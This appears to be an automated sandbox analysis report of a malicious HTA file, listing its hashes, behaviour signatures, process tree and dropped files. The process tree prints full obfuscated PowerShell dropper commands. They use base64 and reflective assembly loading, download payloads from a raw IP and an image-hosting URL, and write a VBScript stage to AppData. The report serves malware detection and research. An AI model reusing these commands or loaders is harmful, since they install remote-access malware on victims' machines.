Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2024 13:26

General

  • Target

    niceworkingpersonwithhergirlfriendsheisbeautiful.hta

  • Size

    155KB

  • MD5

    b57e8c4722889166196bd6ca92c4383a

  • SHA1

    5628162ab713e034f10fce235b08c0ff8e4131d5

  • SHA256

    5147e58c7d2d5d0296c74619c246f81569dab8c9271513b19b3d1bd4c406c702

  • SHA512

    2887fad423bd58e20edee6d0809fcfbf2a768d14f463da8ddf69e0eb823e3f42304eb41fc38111124c60b3d4e9385054f0cf7d84512e6b5128cf8e43ba70847d

  • SSDEEP

    96:4owZw9d6yfaRlC/5u5oB3WnKqjIlgREe/b2F53QStlC/5u5oB3WnKqjIAgREe/bQ:4Lwsoqvgc12OYUQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\niceworkingpersonwithhergirlfriendsheisbeautiful.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C POwerSHEll.EXe -EX BypasS -NOp -w 1 -c DEViCecredEnTiAldEPloyMEnT ; INVokE-EXpreSsIOn($(INvoke-exPressIOn('[SYStEM.tEXT.eNCoDINg]'+[CHAr]0X3A+[ChAr]0x3a+'UtF8.GeTSTRing([SYsteM.CONveRT]'+[CHaR]0X3A+[cHar]58+'FrOmbaSe64sTrIng('+[cHar]34+'JG0yICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZGQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRlRmlOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdqaE1tTXZxR0tHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGhTSyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENRQkFlWlQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUNFY1JkZUlVeCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHB6eHh6cG1JKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlp4ek5LWW9HSndQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3F6R2pUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbTI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNDIuOTMuNjUuMTYxLzY4MC93ZW5lZWRraXNzaW5nd2VsbG9uZ2lybGZyaWVuZHNoZWJlYXV0aWZ1bGdpcmwudElGIiwiJGVOVjpBUFBEQVRBXHdlbmVlZGtpc3Npbmd3ZWxsb25naXJsZnJpZW5kc2hlYmVhdXRpZi52YlMiLDAsMCk7U3RBUnQtU0xFRXAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcd2VuZWVka2lzc2luZ3dlbGxvbmdpcmxmcmllbmRzaGViZWF1dGlmLnZiUyI='+[ChaR]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwerSHEll.EXe -EX BypasS -NOp -w 1 -c DEViCecredEnTiAldEPloyMEnT ; INVokE-EXpreSsIOn($(INvoke-exPressIOn('[SYStEM.tEXT.eNCoDINg]'+[CHAr]0X3A+[ChAr]0x3a+'UtF8.GeTSTRing([SYsteM.CONveRT]'+[CHaR]0X3A+[cHar]58+'FrOmbaSe64sTrIng('+[cHar]34+'JG0yICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZGQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRlRmlOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdqaE1tTXZxR0tHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGhTSyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENRQkFlWlQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUNFY1JkZUlVeCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHB6eHh6cG1JKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlp4ek5LWW9HSndQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3F6R2pUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbTI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNDIuOTMuNjUuMTYxLzY4MC93ZW5lZWRraXNzaW5nd2VsbG9uZ2lybGZyaWVuZHNoZWJlYXV0aWZ1bGdpcmwudElGIiwiJGVOVjpBUFBEQVRBXHdlbmVlZGtpc3Npbmd3ZWxsb25naXJsZnJpZW5kc2hlYmVhdXRpZi52YlMiLDAsMCk7U3RBUnQtU0xFRXAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcd2VuZWVka2lzc2luZ3dlbGxvbmdpcmxmcmllbmRzaGViZWF1dGlmLnZiUyI='+[ChaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wqus0jhd.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2764
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES986A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9869.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2896
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\weneedkissingwellongirlfriendshebeautif.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2676
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $biscato = 'JHNvcnJlbmFyID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGRlc2VyZGFyID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskZGVzYXZlc3NvID0gJGRlc2VyZGFyLkRvd25sb2FkRGF0YSgkc29ycmVuYXIpOyR0b21iZWlybyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRkZXNhdmVzc28pOyRjcmV0aW5pemFyID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRnbGFuZHVsaWZvcm1lID0gJzw8QkFTRTY0X0VORD4+JzskZ3Jvc2EgPSAkdG9tYmVpcm8uSW5kZXhPZigkY3JldGluaXphcik7JHRyaWdsb3R0aXNtbyA9ICR0b21iZWlyby5JbmRleE9mKCRnbGFuZHVsaWZvcm1lKTskZ3Jvc2EgLWdlIDAgLWFuZCAkdHJpZ2xvdHRpc21vIC1ndCAkZ3Jvc2E7JGdyb3NhICs9ICRjcmV0aW5pemFyLkxlbmd0aDskZGVzYWJhZmFyID0gJHRyaWdsb3R0aXNtbyAtICRncm9zYTskc29mZnJpdmVsbWVudGUgPSAkdG9tYmVpcm8uU3Vic3RyaW5nKCRncm9zYSwgJGRlc2FiYWZhcik7JGNvbnRyYWNhbWJpYXIgPSAtam9pbiAoJHNvZmZyaXZlbG1lbnRlLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRzb2Zmcml2ZWxtZW50ZS5MZW5ndGgpXTskY2F0YXJhY3RhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY29udHJhY2FtYmlhcik7JGJhbWJ1bGEgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjYXRhcmFjdGEpOyR0cmluY29sZWpvID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHRyaW5jb2xlam8uSW52b2tlKCRudWxsLCBAKCd0eHQuUkVSVlJTLzA4Ni8xNjEuNTYuMzkuMjQxLy86cHR0aCcsICckYW5pbWFyJywgJyRhbmltYXInLCAnJGFuaW1hcicsICdDYXNQb2wnLCAnJGFuaW1hcicsICckYW5pbWFyJywnJGFuaW1hcicsJyRhbmltYXInLCckYW5pbWFyJywnJGFuaW1hcicsJyRhbmltYXInLCcxJywnJGFuaW1hcicpKTs=';$desalinhadamente = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($biscato));Invoke-Expression $desalinhadamente
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2152

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabB4B1.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES986A.tmp

    Filesize

    1KB

    MD5

    0d05bee1fe05b39a2e683951ec7e0136

    SHA1

    33b0658d3634121c57488edfeab8425e1588b84c

    SHA256

    fdd2d447eef8a1c2ade9cfad816f64846d0dc776772d15ab0a0e12c0213cdba8

    SHA512

    dad5ac49f0d6b185d6e8efe98087938a0efc1dc0f1bd650c8d9821fe6ce7b213210bf6af749246a58f0e96cfb9924a33889a9782f35d4684fbef834499eb8d64

  • C:\Users\Admin\AppData\Local\Temp\TarB4D3.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\wqus0jhd.dll

    Filesize

    3KB

    MD5

    dc71c2421d93349c642825146b823eca

    SHA1

    39934dee71cbbbcef47b6b2cf7b5aa9ad3ded8c1

    SHA256

    503e5cfb128a0ee3c1d629c671b91c24dfb6dc9846b2d0ee69fd35438e059a9f

    SHA512

    308694f96dfeb8e8bf6dbed2f36b42569d9e5d6928696ed2d65a7196ac349e1e05c53a8ffde330165f2fd5f8a6352ea6b9729a8f96028359e7eb3bd2a8a64c33

  • C:\Users\Admin\AppData\Local\Temp\wqus0jhd.pdb

    Filesize

    7KB

    MD5

    51c27088dd8b950a296754e3de7d7d2e

    SHA1

    98940ec4638686841bd90588ee2e250e3af1c809

    SHA256

    01aa47d092afba99e3c98756a87c0da95979c6f2fd20a61efa8a56e9a8a84981

    SHA512

    1fadd0f0d7263bdf28e116afbdf1357266d838091b93a9676ebc12ca87661954c122bcdd2d9b0151f7833c5655e8c8d8223e396e7352ad048fee9818098d53e3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    3c09632033ea80d9dffe0f35562b9196

    SHA1

    7f223e273448355e859d08b832ea97b00c4a925d

    SHA256

    7a925106727c983f023bcd2d377751b158e342e4b3d14ab17435f4353e13bd40

    SHA512

    3f31b44e88f3a42237c1ae6a095c228090b2584357ac249293e66e39367793d199bbb174ace18dd5cb4ad6dbdf69edb6bcc6b16f1bdbc21482da0ed0e08de36e

  • C:\Users\Admin\AppData\Roaming\weneedkissingwellongirlfriendshebeautif.vbS

    Filesize

    150KB

    MD5

    23f2631ce99480a209b12a8f520d5480

    SHA1

    1f6cb113c9a2ff37ce5047b25ee7f432a4dbc950

    SHA256

    4f1b501ad9c6cfedac6521c680f30d4fdbfdbd86c2742755d07f67c4939f0235

    SHA512

    d906b932e7d6c8bd87d47e7d52e2caf0ae05231e02ba720d8f81d9a90f5a2688773ec80ca91775b8753812fd638d2d123564489da066a4c423dd76eb7f5ccaae

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9869.tmp

    Filesize

    652B

    MD5

    351fece87dddd99f32f36402d8bcf8d0

    SHA1

    be6ee22cc2488dfd500a71aff6ce29a8d5eba240

    SHA256

    94be53553d554889dc487796eefc451e681e7e81d63e6e4db7a0f0638bd23c31

    SHA512

    8258a3b3ad22a0b1f478ee9e81acc6344526c4f4a11e65605244a354199fbd22320c47b7b4290f9be339ac99e14d63227215941a95f69eccec7ba497b4ab2143

  • \??\c:\Users\Admin\AppData\Local\Temp\wqus0jhd.0.cs

    Filesize

    488B

    MD5

    3b52e3d1532b0beb731c47fe5cf04437

    SHA1

    7135f88114807b36be4b96e49e2ed21c1c2e48e1

    SHA256

    d89d61099f569f77396fefcda11858cdc45fecc437afa5204b654a63c0393ad8

    SHA512

    d49eeb4817fd128b9c27930cc82388d17678684c56b9a92aa3f52154485ca0ed2e168849f9e7fc1815adca53b0ad57f525464087b4c3d9e14d02423d8939f8f2

  • \??\c:\Users\Admin\AppData\Local\Temp\wqus0jhd.cmdline

    Filesize

    309B

    MD5

    2def8d5296fc0d590881f81b0dc1af3c

    SHA1

    14565cf73299b5c53fb3218e0ed4addf6da77f32

    SHA256

    117f47ce0b0204e71f49faf57f7ff6d989c66b1087b5ac156891de04ea7a7cf6

    SHA512

    a74e278ecc2d4b8539ff1e958ff0ae7348a0183c755f4aaa2da0d27edc94032d7586d233db5e6fda48b5a7616469c8bf6fbc48ddee958b12b4239afe3f449383